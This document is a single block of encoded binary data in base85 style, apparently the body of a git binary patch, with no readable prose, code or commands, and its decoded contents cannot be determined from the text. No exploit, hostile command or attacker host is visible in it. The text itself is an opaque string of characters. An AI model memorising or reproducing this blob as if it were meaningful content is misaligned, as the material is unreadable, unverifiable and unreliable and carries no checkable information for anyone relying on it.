z5V`hbj$NZN7qK74gE`7b+pO0Xkn?|HZKrH$w3owr+&8fq{gvZEKlMDg63z#6J@b%x zpnuv2Tmx`Evm5WM4`2-cVzg^8QtHpz^5f`wD;O(Q!KD!ElEw+wh^NDzunXvy9PiF6 z-R}UCdCo;6rA=e49!1XDgVyE(_rPsnpG6$W`9ER|Vl%E9$BeUOuCqJ2#}9t@yWc%M z(lCd4?|a|-R6WSgemc_X+gE-1ng3r!fB25XdFpB8#>@M9PCL)5F~051)FJZEYR>8B zYQE_>4K`Bump}2u6JKs;JsUlnm}%Xe7wG3B_q>E-{e17*3i}gkEN=9y(f*zNNju9v zjK1sbFKqIoqrHud>R+?vu-ULt=aAjd`~JVt{jK`0sE1{n3*G@Y!CJT+&Vq$-C^#?j z9re!OTy#sA0Q&A`H?Q>`eY`o0bF6)#_x*pX+STYel;t?o-qhW88_S*FJI{B%e>a#D zJ64VHu?C<%Ug!1Q1)lReuk#*%WA6OYcWT$bRiKvVgY(QqU`|)&*5=idKwZ^l3s5KV z*g0r#j)xyRrcwJ^`JFNDh8u490A;J0lw&sRH?#~r)wH_-8}NlM8V+Cl;upX8Q`F0T zihl>NmSg+o95@N=mjj^-b_4sw{JOODaeN+0+juIYjaX0Xy9Z2%d9AdCp*%}FqQAf5 z8j`;Up>APM&)UatMZDHEr=gTN9QRsh^QlU%@=O~&?|2#sZL?442Ys17&b7+&Hvnhy zc@Z2Ab3l7?4PY<#yt97IaOhjFOml6<^=HmH>#Vo;r8{-*?E`%0qtOTc9!U-AJ+ss2 zXv2@Gqp|m9h}`gEj?Vz&ul;ZUOa=Xt>%hhXW2k#$@*d1lKh^2F_g9|%)7S5G9V_;o z`QS+Di@w@Zd_s`GxdD_x@Y&_H7 zYyX|DZ?ok!nE$)3wHhLKJ(IRP-t2Q*bzOt})4Wq0kFo)}YdAiu^nOR5JdRKLNvrDD z>~pZ?cT=Zo?iud{jkinT#2QPQeeP(yuJENXpLkYZ=KTNO4|k$pYx$CW;Mm!m=l{0d z`Mc^h+n?9UFV|sLa_%BUF-Bu!#?8oS+8=AHQeK(o{mM%>RiKk zXFibge?%DKW;`{9O$2it-+^e?dwlxSpZ@x9fBV~~hZFm~N#7nmrS9JM&&+E+_LHCd z6|ed{+VyVTb?!c}k?7;jwzaE_qAKc(I?#>%0s<9Z1k4~N4+FcTt=GuCYf<=lTfpJgJbmEWuT zUigs@)N5BO&zXM}xtn$xgl=K0YNy@kUqe5&39Zy8@SNYpnu^!o%lz0&myM0 z(sIH2xKxqs^sF~mtr3_6@IFbU6r=hLw^3U;p_|A_H*>T8|;Vc zVKo>-!Y>`gv9V)17>9R*DYgCH#D(_{Mcbj?YrgJWq8RfJQn%=ra$m2Hs^elKapBL^ zWT^FO)%``zYF%^wj|eT=jHlzl7-kN%1Nd)QF8qS zPrCW8FM5CbsGk|Gc2&!5F#p#Ft%WP$QaHbQZ@WJK_{TqPH1}6;wRQ|vbN9$S%{e1~ zckgHOy~sa%b5DHcH`>*P>T_)qmT$N&gWeR=?{J6I`F;OYS33+4i|!Xo9lUt;21ar=D>8=8+L_q z?(cfaL>OP-=ZJ~sdi&x>epzi(t3TIScMZM5MoYhYC-u^|s@pA~W;cS`l<4m~ueM(2 z_3C{W?|eSd>NfQCJbepgT7Uc7dbkd|0xkgi>sWBUV?XTy_R%&lnDs7hYx}0Xm^)d= zNno9=`@Ft1X!m*M>mQ(e$C-qmcOQ1t!*SSB#Bu#kJ?yLX3l=PRy)m@ib#M0h{p2Xo z&S+z|Z2;R+W&QHy%m1v|a$9*_Ee=~Z*FPP@j?cBA4?72zfaBqCn9m&f)K->1kZ0BM z)V^%0)H^f}y~Cz#W0m->*T(pMJ-+WTa{r$Uq;9Rc7CU$+bI=W$Fj8{CB4^ciS?7De7`6^p zfH8k591RCT7Z~Gr1lNy^<>Mf?|5ZReWC9ppjbX;y-I*i5eK5AzihEx4q8ELJIyB>J zy17nU(0}Ml!oQeLR`ENp>Gd^do_XeY?b^DT7irh#Yv#2p;d15*-L25J znP&_j|Gb;JnL|3i*Jql0T5t1Cf4|_^bT6Lwd#|&7&*$Hvc7OAm-~3rKb!x>m}Y32jrOcE@*W

    Xj<(z84K=#i=ls8o>%Qo#Uypo5-|cubmg`6K3;GECg=15E zr>`FjuI5q$V7l7mUR5%figCk%b>qMTXjZ&5xmE$vPH1smI>BGYBI&V-jwNjfkpf;;&cr0qBj_T_5YJDrY;{%=Y z!>sv!i!yD8ZLt2v3hQS7oe2vee($n3$GgDxuoc)x(LWrHh)tW(PRyOOlVP3z7xvSa z4Ruq;up@IK$DVQAyhEFE9E!){d9S&b`O&+Y@yYGJrk}ZgjFoQc9C@L(R<_eNiS73M zeVtnKEwy3H{hYElK;$ImMvmbt!THSTuo#YoBgx7CqP)Ko$Ngx%k$TnByOCXmeZ~G+ zHpcVr!yonjKC~0-j_B*fXoiC9uz0$He)vkKwn72_M+oiqP7VBxg;2dKG zI9`^*(QqJi!LG0)7{eoWaF|<7fpP4|gW8w}8D}Rm{^tDp*S~&xI3UJ^J=@oTwjB1{ z&2iXr*s-=7vCFY*UQyz?h-uHnGwk}0fApgt{cbqg8D%;*p>DQQyLNoq7VX-c&RDP- zuDI^H>)sgmv~yppPw7iS_YKrT-K+Wf&73obGpCH)a}~!|!O9wbwjFE1Ha(MjGADnm zo$V=~P1`<7*`@EW-qv{~Tn-n(`BL6Dl8&`kb3E3s8vQ@OV%#*^+pnVC1@^IPz8@J$ zZ7%Eb$xnXrr;LRU)ZU#(+$;Bu+FX7YZMV(cHG2JuxnNmlyN*ZF`+wT}M7!EqJ{O(s zE42@Qq7T<6>#y}C`i9bvtmN|wFeknOmV-H&-_Eip7^R|Wn0>D?6{^ZH40lTwJLq@tz2V_(C@AV zeXJU(&1IlAmlXI}&D2jlyj#*cB2h#1CwA6m=5!*ZEyEyeIw;+J5~GX;arS2bvM7i3(Sce zciNJ3Py6Dg8Xk+^nU9!5-Nn1cueZA$jh=7(8^HSs=Lp)EbuZg#Tccf`SBGI~8|B(J z#vSXb&icPq;21s!^l6J&d%UQTF75cP53Th}`lQmP%v(_@{_em2^{@Y^(KFleU6Xy& zP5tbf81v3891k(>)m&_Aj0ZnECLA+fs}}d}yYId)(Ra6_EzLYL=l}FV>o@Zq^PDn% z`8SSwn(32PU(;ajU;3KTmcx#<-H2WK7w2^)zI*n3)z{obEP1(Osnu<1_IZ8G{~dq& zM*YuPSizj{$!4E9*y|YI@$XK{+_ThPAFn^qH>jl=UjwVboYEZ5xTU|m2rjJcFJ^x! zn46lTt^#vDW8F=Z`?JB;c_8uy~;9&7t+hyJga8&q?= z=r8xi=D@z|3-dwgu3-++OQ+_){k1v1cYHcd$blZEj?s4aWxK0wSA%BSZkr=U>Raxk ztPe%m?cC@5zgKtXB929Uc=(f*99MnG1)Mt{&IR-0v%#Fq{P-kT2*<(^Fdyc?OqdFL z!W7sET;q1GwiRpv6JR_T3rjrjHD139?9IB<3)*Q9KD$`g3VYUuyFnYRr`0OXtCc=i zjnw8WP@B^W{Oo!4^E$8hzN?_u7c8te{} zz&^9TqOUj{5u5d~Ue?cg?g7)GLs1KL91XZxl% zPP4z2c|hC8KqDKhlOu+o-$4D=gFZawq2^J}EzSLGgYC3Ew$;6#ZNED7{tl+oxgg{H zjg;LDj&1WQ>#F`&fH{<7_7r}z_s&MTwE8=BXkbrj-3?(=j$?iJZBXj1#$i)yIbKuX zXWQxb_J@6O1KbSSrdr%Z-us1Cx2@6h$g{prxsDUtqg_}>{p5LY3M_yl;9x+ac^5Z& zUc0`l#EDJR#c>d0p_}9An-~k~Y5%CNHm2Q|V)pZLbFe)X%TJIM=Q_`=Un_Jg1;m-bxsHO8;-HQJ}Ps_)Q` zgpXOx@u~tphriLzwQ=oRUv)e4syBABtz}uvwVtF7wzmfyvyNBCs%^8Lwrka2{ncN6 zv%Iez$G%sktZE-bT#ej8AEIAWM|HgtE(3G7bKp!k9Zm)PrJM$5z}avb=ADnX&j&-aEdTI@vE}-&Dtm_G8;( zymWJHJ|x;z6*Un1^;ys#9~!RqR?BsKH2H7as_l=qH)_A_Ht%xGiFwRjl=*>bJ=*cP z*01(s*kt4!`l`#p+;1Tq3bSA@&_{0zTfzhw2hDC?>pfe+_AnXth1sa`o}0y~1b zJr~q&BB;f9P#1A??>WEU8g_swurC@tT5V6OKNn+NyHKYd(1uI@djp^KSt~(*bv~$* z8mZ4BSOCYvaW(v`Eu9EUL4T~i`r<2K%`0E|%1^brJ@uYP8{a^Aw#l()-|K@{gLSc9 z*7ac65B7wi*gUtlb<;cnZUcI)r>zuy{qfEz^c2n9;H=iA6YJDd}{JxH3 zZAjf$f;O-mmKAtz1$fQXV4ig&zcct@yV}v{xqtE}fAVe0uh+&6oVSfJM$Dhg?X)ZN zl(n!5R>GAvY?q&()i!?z)2I%u{*JNmM(SYw?+5$mX0XoIS3hW8b@mT`_`_efy6i^J ztN5YPo~)~5*ZSTAk&ElUwJGQFp|=`qL)w&W(N_h2_PjP{pR9y6piTDL8T;Nf8SL%H zjq2L!?^xq{DP`L>$BJ#TFD?c1*Cnt3j)EhYw{+BAY-=BRdJpv}`zFS_{?)N?BdDwT z+CSR;Rj?B5r@+s)x9kh!jdpn(cJX+t^={^Q%zvJueC^P7YJbr`w#mAiFBsR3h6AAs zb_L_UF@GYAgWUc{0ks$pTfj4U4z_>nFMs*Vr#p#r9P02O*uS!|#s>EGbzi=w8o$EF zm`9X2cKt4VjrQ#r(9b$9ZvBHl_=6`q+2$zguDkAflJdi@jbYlgKJ`{`-1Wwjurb$|F12{-Edb0 za}Ckfg5GnK`+?zVbCj!3m^*jwtEpSH?a}`J+8*t;*%a3ytIc39uDx50hbEm`$6XXlGmF*_35}>ffWy z+NFNQT-|m%{;EDj-=PmV8jgg+;V^KHI2Y!C`b>wZpiaBNF5sNZwr&HqdkdHd>M$PE zL}K&U^Im7(VE*8g2fAp0(4MA6&)pWpF;60ZTxgj)5aU zn^B+nH4dqr^EjwRlHg8N>3)=kIun6qm{b6sg zAMHc?&weZWi;u&)g{^2`+S(p49p;s7ZufD`my~wXLmj#yY)74M1;^PnunHV&+R%ky zJU$21Up)4l-x;TugEn_H^N)A5yFK-uPj31sZ z*1eZb z`V;-j=`~KP?H#lF8)KTjM*B7~|_j0Gje?J9nMD>nJQcDAp-XFK;V-uXw{-ACK?4c%bdwNLvp+Hc#9 zebIi~UTweac5I0@9rT{#J@0$^t79v^-^}O#-RN%LX|LLyaeNi%&-Du@!$LR)4hMaT z{$vi!hW%kCOoyqkH|zns!Y(igwg+R|)?l2Q2oqpD82U;_gjGX`W&A-9lLl% zEBd|BGaUQ1c&NSiKsS^=SYPGb;0m}9jCV_50UQa3fI1xjYBZ}r-PCU$90qE;7>twW z;fHT(RJT@rM~?A+%G&_Z|BlCNzf!}(lRkqOV zbNFq_S17w)8;ya+KmCZY&heowt%S?LF>(%^4z}}Tu&wS-1>0}iE(Yyy^|EEl-q>ut zhI$>b_G6UkIJX_fFk{!vunyM13flg$p_bF^{n}C`_G(Mkue7Jo+PL{VSPl9kZR&i` zf2+5)qYY_G`tlPB{JaQG1pC9jDf=SwbA8?Q_}=$6+lHZDNB;2>%5?194ce6B#x`nC zw$Jgf6o0vFsAUcG{swDcF%HZD&3(*ev?0g)3b5|lxMTh-unpS3eN`W^e>(ss40`rPA>KmLuBXWO)`@RjPUkG}?1!&TM$I{CTIdRX*H z4|TKd`g-ec-#9+*0PV$ju5B?cUk|ov9XM{p{uA3-#q(Zs9k%dSoosJe*2h2o@t;x$ z?J#Vy+V*a~(=N^V%$FQ1+NW{)7SK-30sCruwEt?ZsiG#=(*FOatW&#=N80?qUF|HN zi@x@&{-qo2Lv2@^wO{lt<{PKMA~*^TfdfJRp--6#`@r6?7wiGMg7Ir7*b$6p+rZYa zC2Ro`V0?{n?4{o3d9U-nZNX>m3Hy_v@BYqzd;2QN?163wU*-7LuGhda zI1kinF&qPj!a*<__5=0m0yPtlJ*SrXVzoUQ7J<(>AKQN?{JA~=-UlCq55q^{V>O;+ zKWMP~H&K>ta~$h~ZvlPJm0*5-GT8Ul(R$mz_N)Cl5yrzv*{qB9rM*o8?QuH%|LnYX zoK^Lm@c)ux*TjlahoQGYdXruSL8M6$7|KXfKtK=_ywlud%d<%|MPf9TY>J67nrwLAfrBH{KYt}+d9(}12jMaO<{pn9Z*K0Xn0qRcw(5I%t^`MSN z!3Y=*=9}yCkDmLQex^NwpJ|J^un?BPYS_rkxjQSHs0aM*J*;c|>;-#@%}@?O)&=M) z^}al|yE&KjW83IA+9nwX;l9jz-m^{^@7|L!$E)8dFcH+bbwfJ^d`;UK7t>)jm@5{8 zu~81rN>9XlOZ)uupa1+(*3~EVN98>LyJ0KngUYDyDTn<+352?F0p}gy95{RYj~?2g z2z6pjy%es3?r*;N=CLekB(LY#i#^YN*aIQ{)^V;6hFoJ!(ogkSYn6G%yfPHZB7APH zF&F6{`o6wxJeX&00e$GUAN}Y@|BJDxK`HbDZKJ)k-5l0Fn6`Z3 z`q6Js)-!X6dfo-w!Fp@|urYi->&F81*Bo!otArecIvjk&z3&9;vHN$1t$+=nz4U8Y zlV>%La%ຳMM`HlGGb6Lyndd~id-yZbESpNHXeh{>qerax~ixD23i>%Rg_TzCq zltWXpTN`6N)ad~EKbM94QOs#uI=rv??Xzt->{myxC z30w)?q3-Yhvyhp!YC)Uk!2A+q)^6J3W|#@%VHga6Uf@1E!`0xvuK;!NPIw0>k9xTP zlu!M10Of6$NBIMs7CeHE{Jz(74fWoKzkB>x7CLf`-~8q`Z*AGK<;$#_1NCIQ?*jdN z1Lz;>%K2srj0N>I2>L=P^nh;AHNxj5&>IGV-|@TC!2W$17zf6Zc}4r&1NT8CXuFzI z#A|r1LlERLce(Cj(Ejd8SxP{gYh!JzO|@rRIowM}xDfP3>z=wV%gR?0H6!TOd=mPn zJ2m7{|IR|b#QY!R3BBJP)QG>$ zVjr$S@B1dQ*Fw;9@Fip49AwQk2ia@rPwLuyu>fYn6i}DJr_{0eTYoYq^-17s`kD67 z&$N-Y(q`Ij9_X*DU_EvD^I7SF-1{ZgjPsK+>tE(5bMMmkzyJMT&uTxeljx1Kjd2ic zV;ysf$^Y?;+XI?<3d}E26Mzz(7rc;_SWtdSV9%m+AE-mRcbmcT4%s&1Ua`)7~;>4Dm#h>j5I)-~js6_-K!CYf5(%;ZF1 z1(=7;C&rn1!5pF9)pa+x7OsLTBCgE8b`6hy#?NX8zdIgg&{sd3mCn)AH(9d^^s#%u znr0r^3Fdfx?Y6A;6R&gs{rA7b+O?n^f-T&u_At*M1Z}bx+_SN<4K~3BFb~?}t%O@Z zpEfTphDBg+Bib-LwgHJP5ZIHeI$J;2L~a}KNUPTR_!f#KkN&@` zbdb;g%3lTMn|r}{R(|_Ed!yUI+~d6Cb9*xDo;lfiaR@4*8oX9Z@%!;U?E74AGpq&m zW4}2W)W5k}-K%$dv@78(zWZL?{BiMat2+iLv?v4 zm_N6|<}CN*TK?YG$o*aIn%t{4(I3q9>)}=~KFrGtVLoUlYv(L5W@hA>&ZA7rKl-|# z@$-If5juJ*Yx(nW5ORV3tBv%<9O&Qrx&CNOXeaZ+M$j);g7wbX!J20*-vF~AmOqwV z`GXGBkGh%%3)#!3vXH+m&Hu=JI18E4uQt}UInbuYo_S4Mt^j?|{9Zi#6&J zxB$+}b1sh^^K{^`J+#Yn4v#TBZPwv;ypC(Qp1I4~(GMLxl!cB8tzmxP{@@Yv<-6I- zCeZJ10sUPcS7&2kIGC5!T^}fg66g-*Y4N-Se19O=7mfqt!PxP-UVk$w1*`(|mvK58+?)2dcDw_$z4q3|ZRKz;?&(6X?%8vw^RhyAOyf1y zs)ZUbt|~#>*h8pW>%<1IKIkjzRzI=+_Jb1W0>;=?pudZ?+}C`s1oS7rqo2&c7oSZ- zmO|GoaDOAm9`qso$6jbFtOsQ@e<-8-)UOAC_R#OOjWX#^K{oxX4-5f&8slg#zlUro zw3lMPmalu-t_to0{I%ZK4lJ%34W$Mw2e0E3HoIjm;)xkY`7U#@|*krZfyU>eBFG@dN~Mwru?Dr z+Jvs|DCT-6x>i003dQ+7?8_Qzo;F{vg=G-pU;^hOz?#q()USHhK5;yRn7D@5JA*Z^ z1dI*sYF*LJ+FQFXK?j-j$`~T?<3yj_4aUAQ>yOq!bK4*&0c8qxqXXyXz?pui zgLa@k&IfxO?ooSaSM6)Bqs_Jd7T5r*;TE_V^j+)ZbeIeiK|7fb$H3@3_Bb)V=jW`me)k4^ z^5a>`&;7P=@54MG%C7(B;1F2jw2?VMf3ycFhn27d>}ziTeRC=(i*?Vqj^z(>kK}dn zx$^rt_2qYG@7=ri@3N4;EzSSPd^ii4(XT$PeRH5)?*eVQ0hYr&&=%(9K48wc5-x=c zpd)mE_IcXz7&wRX7@nT=;rG4vc~D;)Iq%2s9ebdMhb}YvGi9V{D zb#q|7P{%t#-L8Q}ppTdrwYRqK0q)nj?cUX~K7Vok(canj{7eaGkKr(peDP#4_J5*l zSQ}VRKd%Ahs{(6c$Q}BRe!2=4!b}JXwEh0{a=FOY;x6P5K7@uM0KFpfI*Nmq0XW68Ya;V@&Ud&>!vKd>d>5WBhjTHDi7^?1j7G9ypjsJvJBD4EPK1q4iTgdIZ zI9Io~pUgE+^|Of{$NcX8jECS4+E-f}6PutMR=^^d2lhOZ!F)d&hJ!wBKVuCwUSvQX zbGi7M@B7)2;P7T=KF~hF7mb6Buo{-ZO<-T3PnsL_OXU~_`lqrD zf>?HS5ajpV_m$tgVh)(Xex3+>OY`yU{9oV0o6|PHEie}*fHvs`oxxt^A~+Y?!#Rz> z%cp#JZPz#ttS9EPZqSdOZ&RB7(9&!3w~?>lvmeKw_VJs{LiTDdP={k6#Dlp&Uk^DT z_Wk4- z><7n#In-XK1dLzvsQ#{=)weMa;vqcxTCjzm)t<&s59kNlTf1xj1uIsp_~5C^*PQR4 zo&V8xagKAiOgjiQ%XrhirT_6C|8XoU=FXk_6l=zHE64MD!5F&}w!m5ldENLQ2?L=g z1b>cmjrqhJqiiw0=6mKM{o7h#-RlIwuZ@+uywBsJtn|RF74m-->)r?Iz}j{fsE6&K zE;i-a%;Q$DXZF3FV1D-V>Q4NAW9;WWF`tROf@=nR&1-l~ukX6r!Fg*QOocIE9x%6* zg1Ns7Xp?}?t*O4Jy?Rs6*6_C#&t#?BLhF3)bDulPUaYs3V4YQdb!AVh%<6M{q3@>k zT1`#OORO1Up_+4jAqS!U+RMeZxP|98!EBfU=Hn4i2F6D}=ndMY1oUyy7BRl&XZnJD z-EbI>Pd=8Gtc9){{l6!)i}Gum`yk{4`@C(i5pIRWa3josi7*L~0GGm5P#*{6$Van~kAC5YtQ*Uh<9Wy% z`rd7@3T}ewP{?K!?!)@4p6!d&vvIo`jMG^#0fs?8u%}Remw~$0XVh)dr`qvaAn9k?MnBXZ?*Q{| z7w82;K)X(Z1=!`4u zu>Ni^$E^ir*DuGyASi*WL0?i1wWd&=7oF4L? zF{VxTz#Xs=>_Ha5bTIzop1|6rKWp1$t_e9NepF_CK)LmQ`w9K}8Ylr{Wh6|7dHCBa zS?D6l|G}@FdCW2D!Pwpgn?QYR$Uj!_cpLco7VtCM!OzQ`3G4;LcoDB{-)(N+2d)?J zx$k+6+rf3rE%p#M!Za8MBS3rfhdxjm(aYE9J*Uxw9-xMQ_Lsl><)5?A=ZV&c@<=6n z)aTTyD(@Tvm%o}cqO+E9CrvbQUyd`(>|@pp$ctZy9TzaY5t{(mbhhPf~m z^uu9bzV8b?!5U@XV9g7%C*{AA_tb~4E5G0A4PIv?@;}nlo{RNfTblpxy6djP#geP3 z>!4r#yc%*~Kc#ZAu`~nbfc16>tb%gz^Kp%_&WJX%_wqgK zkafZs)sE|-9MB627FDOUj+7v=E`0$ zl$m6I7V_o$qgvLifhsrz2f(_p4fM5;H}q-ifwiC;nCCBr^C8Hny+qkMK#23YKA7jd zVJJ*Mw?9l<#;E_RW=&B>?U;Mufd{^y_WE9*oc0Fm1s%Hw*H_Q`A*ttiyk^cA3HHn- zpf6np`bi;O2Y+hpF}8>PW-RHO)@bdhJ?m`3<1BRci7fPzk1g$ygZsePx)%=c-Y>J* zgKI?hW`cjX7h_-#gx+Wc=k|qDVKfYao?t%Gw=V&0qki@K_MqMi;d_3@nDIN>Rr_k^ z64372Uq6`lPyh5!|CY8c^0ug9J?#tZV^J>yGf; zM?a(N!LOA+u4_YhuK&y+$9z2OH_gW={|CReC*BA8wtbem*Z}Hdb;O$dYvnxpeg)Wv z$>uzM*Z7caV6O0*J76d50@v9C_ThW;kG|&ne#h&&)-sq6Gr>Bmo<_h>ddj8TKU&8O z@&1~cnkR_W@3xhBKWV!tk5saE^N4-91K%MMNelM-(ia2x3Ri(xKIfiX}9?ztzJ7dnAGgR)z%g8V`5@K{KG^=Ez= ziu?~J_nF4?v-5wOp8u^Y@%*oE3@5)mm4+{5c};Tje{nzHMPlzEaUMtxR!YCYsTe9@N=O)dEdZZ)N5EX?9067qC7YAxDXb=jbME@pM{z-jPn6d z0?FRBBd@iGbD*sp_7v{xLNMRB=TgXe{tvm+x?vr+#%mw#p{}RE2ryrE1A8d*;Cavi z)M>0&&x33iaIS3T*Pbw#+?7ecnD39Q4?#Zb_1$1y)CbpqzBLoZ!eDTZ+QAy2U5sV@ zMtPJg5X)zcRK5~$ei%bP^H|z(8TEfPtf`Duc`E5uex3IEUO(|S7VaSj!H;%wz6s0+ z#;$rE2ScD2*mGEK&6Veav5?d?FEx4uTllCw^hNCz;z^s>o0tQ}#d zi}iv{Dmk}bv^P0O-}a|0Y}3T7w2ytnF<_3J4HIA}^nosL1sLaz*+#v`N3e&s(2m;E z?`mJ|ti83n_SX+)a-ZsJY3m~D+l>$HV1Kw9wt}_CIx`E*0mg3$*b5ui=C6?BI6b3} z5M$cZe%OAw2f6OSfB*M?Kb8gf%MV$z7R-6tGY9uT==Uo)UkTQ&X)qcFLJ61;tVNCG zb>1p?6!L5RBIv-HXl)!0lgKf5XQ2!9euVXc9`tMVVEs0>oxiQ&`nUSH1(w0mJf8cS zy_WCa3g&5RqTeZp^{@dpg4fy%Tfl2?2m1uq+6Bgwk3RQ3V@q4CMITk%BYGG6eG>b9 z`I%>)`Tj3{@r(bPg^r532KzpWJh8s*C)Bw;g?d*9cNTNarmmHUg=*HW1Z#}>Z4cZI z+D`i}gqbh_hJiJ)Cv*Yh_%blxneQ(GV?-Y})?@7XeD3@Dzcr#Wl)_+a{NbkdT+H|K zfBT?4f=zOq+k5N-{ZL;m2Yr1WOocIE{pkbU;Tli|^MdlkvM1$N_BJ6uG4&*SQEqLn zAL@U`W5|E=IiC#Xq`sh?F9+p27uv%)(A>k%`W@xhN1OrFUw>?VxR`cr>{_f<3;KBu zj5~9_KE46WWphFQE(871K0f68j-0oHG>@Po^{bxMw|dvthT*U48zgux^OwzUF)7V69mN)*xeaG29Fb;6~7%b6_^igc&d$rh>k$ zt&QgqU`+Reo?t%GKh0<6sq>%%Xn$?gRu1>m5!|DGs=w;DWm)(`zMj>xUNz*v+!^|) zjhwFl?Jx8Iv`USLfa&+p-j!`{<=WIb&m z>ZKBLa9`T%hU+K#L-*kN_dtm83eH!8`F1Ldf&pNh8n4E!wh8@0b8HjaLVIdguVFkH zS9LuDkNUx6>PG7QVu8M0|J)5*VJ$3ySuhp`K?%h2ci_2lo#}`65BAhIIzh>vJ$v5& zZ~yjh$Fcx_d7d?EA>^AwoCkYu<9r<~gBxHXTnBx?x^)GZtCRgeb8PEpL>=hYp~rJ> z3U%8aWE_9Herp!GK<`IbFR2G(dnasx^4#{KqWxkkuNwYHmt#x^T=L6{n4re7l>xDdEjje=`3$(-Sps!lr^zZ3lezy-WA9MqAyzy&JP?qx{ z$X-Z(Wp7M=Yi4Hhx3&2{3!9@~?X9hIVBDGOwDSfqU(JOHpp8pG|9&TETkY8n(mXUoDDNzDoh6R)_52PW57OjI1Gis&>z&XG1wWd1nq84Gp4mid(i&csI46CC-{o{ z)nE17vMlVEuV=NaR}DEZrb6!Azp54~>exN%*Ktf0(y6a?0QG+%h=agx}XivQ7G|m%!`+cl?0Mx-&&_9=e{&{x(M+uD_ z!JfvJxxc<%z4yKEedb^P^Xv?~Ow!yV zd|tmcCX%(yK4c_J%|aJZeXC;45Zl)8?O?yP28{0oFbCAhRG0#j^LRcDW`cd!T(}YZ z&O$JEdyN%vD;O{9`K_ml`SVlQ{@Y*w`qzJ(g}kl3#?wzfeH7ViKz-*xojY&uhkamg zu{*1MMzIj~6mnbK!)dqqpxsBqAm|D9$@VOlfVI*bZEPDC(k@T%`S{WIIzZC@2jG*3 zvyeY;i(2-e?A4G1bAfg+7i}m_*r#hKcLTC3F@(bRyJoX?Hz3GtYW;i z)%o9;(!Z=bJ;6D39QQ~6I*a&dD{By^Kch}O#sBNcJZVkZ2D~+G8I! z9rWD^U=6o#9|70F5HN@JhdxjWJwX3f*H?gje~4@InsFV+GEdvY;hxMp4f-jbmt|qU zsGh|!W$oAo>p|O?JI8~1SJ&5oejWNKWhitM$`{@EVE^&s$8X9)zNkM^zWczOk(BQS zUenLYpcjO>G?q_Ul83Lw_PdPdepelpvGzyOmN74%Ik6@N{XUWQ+Tr@d^@I7fgAWxrh#!h0F2kG;Zg{-S6!;pLb~SVW*xyM?fJBI%K6oNU~Vv1SpO$_4>s&S z%}4FPdcij8r<&IuPjk)q+T4SED!;yKSAu;)W3$p2-ZQV3fO*syw}zRY)Tg?Y<{shm zAx5;b_Pz?VzkV=^d&CRkJ*ROV<+&=>G!Gnr-LMtb!V<9Vgn6-qbN$mgq7JMdCnGx_ zf7>0(uPv>o)>iXfXXuT7zng~L3SD#1pg|9_rZJ^Y=OE5E6+E}6u$PzuBf&nwx^pGi zx9W%5Q(0PK)8N;}M9_tOb;vRHD4FD#sJ`jf&Z5qt`n5grMlko@40B*AOn}f&sT(mT z8~fJyi7*AGgYhsI=EFkfeU{tv6uI-Kh3s-Byq3r#IrI|dfAh&cxC=6y|1Z7t(!XK7 z5DS%@$N7B=&&_R%VK!*{pv%R$hC)Z78lk=VwZi;g#k#S4TX|j%OTgNABKef1&=KtCjG#``jXJVf zdN>W6#n;UDf7ZZI2d#xQSxNvXPn*-tH+vx22iiY4i}wM0ghIc4wZx~nR9!5D9CKXm z=lyZ$|0``-PKWD%<};r;ie7@gbDYQX|J^)y_S~J7EUXpBLXPLj{Jx6U zwEr~F_S(A##JQ~_&y8#SIpk|jn><1;FsEMv){E}YfA{X)hqI7B>V1Meg8$pUZiRKQ z4D4U8hmZ@pa&8TB-_8heeLHRBk7|1*G8}}xumdV!CCrD(U|ffut56Q)?PeXVZgY02 zznk}SVBR<0l6l`eXFe;1Yr($!LeS6k@w5;1q))}MVNcZ$?6IcO10KjCM%wZkk3Rb7 zKcR=yk+cKuhd~LFo$)4c<%RJi~XhbSlw%H?QpWWjjv>O z=#TDG|I|l!UlaY&7WT0g7Q;*!1Nv79gxVO_23{_Bgjn~p>csDsz#!`2htrlZs)4nvDK*01 z7(JWz+Tr@qx>cMP@}Z@?t`8Z@LqPx5&%IX{=Vf(SjKk~bllrE1xfHGf`;!4M3cWoR z_MhfsWS=^_uy)=E*ub`N<@e;EJOuYUCx z@xF_F9_6`0K58B?&z+tBQ9=`kcC?mSTdlM8`J7qzdw=-DAC6@K>xMj6$d={2AJ;7X zt0#E>FWCpS)StOj{rul(jv@a)mbN}v;|O~(x2Ox}A7{{A;QUh#&OdWuGK>cMVsoJL zK(9P~@~^3@;pB|zT=yg2`ObIPel|8eUDiqDksSI`=l6nrle*svd$N*;wF<>T$nWcU z-@aP=dq2l}t=iiBZtNPv#x!@AcuLSFB-Ta@0{CVG3{%WWMXW)Hs zCv1k*a5Kz+xWDVf^EekM$H~af$Ll`ds`9tB`9BMrqxWF%9Ow2jZFTt zzpvgqf;KR(oosI7E14bc&AmDYHJJaiuv?;@6`I{bFQpB_d~E(a+4;Xgzv%p*g?vr) zN6!CizcvJbKb$2y+L^SB19r=$-xrDr~VQis=y>vR3A!s{c@&!buBr;vTD+gYsb z8ps;krm6V${+|7RDO>|_e-!d3FSqE>7GA?Rxd6g_vbs3o`564@2Wjf$1bJ>Pdoa(< zf;i75eYBYV$x^4?k&G#Oe(P|5^!vTv|Ni&K(&nX?UV4-DVxNxl&1T+fET;!shMaz? zKFw0c%>c*cn6&kg&o7PT-r(1B*z5IR4`q$(13kg`6VLlH_mADRYuATfef8Bpr@imf z_4=Rw^rw%atDx^3=lb7q^M4ld<@b_|h5hWu`#;uR?QcJAUNgVjKWpp8^1Jcf+{4et z^|gNf$A=DQA%8_h#q;bzTU0|1w8LK50Tr+koF%5f2yk{VU%6NBS)58PXm$DNp`Szs z<*$T;kd%EsuT2KyzArR(U!S*{b+o$7>{5RZ_HOI*e@FHj<~nDlo?r~xW6Xp_&p-eC zZ?cG$(_xKA9(m+t{#}5vyA&3}T$llqz}aCKg!*OO>I}xRy{hqSZ|VI^^=@toHD14! zws^S5*iXEtQ3_>Q*ep@c?qgl=WABEoP!3BV*%v40|HgFd>)PR5i0A*lTJ}&V&jmeLSKNECeUwX{R!4}b zU_*1Au{*13e0%TJ`euBG z`ENYuLqUDmUuZY=;$z92Idit2o%>IG|0Duao`+85J8)Mhr^hU5h)sMYz67B)?;@tY>ENVQf;|sxj)Dev9kk?K& zw)tvihkJCt?%n$sr^Ec;+`d@7YlpTz|4(O+&Zfnh|E+^(+WcRQ%#~mdlB`4F9(<@n zUHQxv;60&Y_TyZx{?PXtjjd(NmepjD7ny5cXCJjOtu+4!+cfvyjQP~sWero8r+Rpe zg1La#hoh56)3isTZ@-T<LboEm+`#5elt_wowh!hwT`f64OD@%=-m*{|MpNbVH}h}Kj;b8 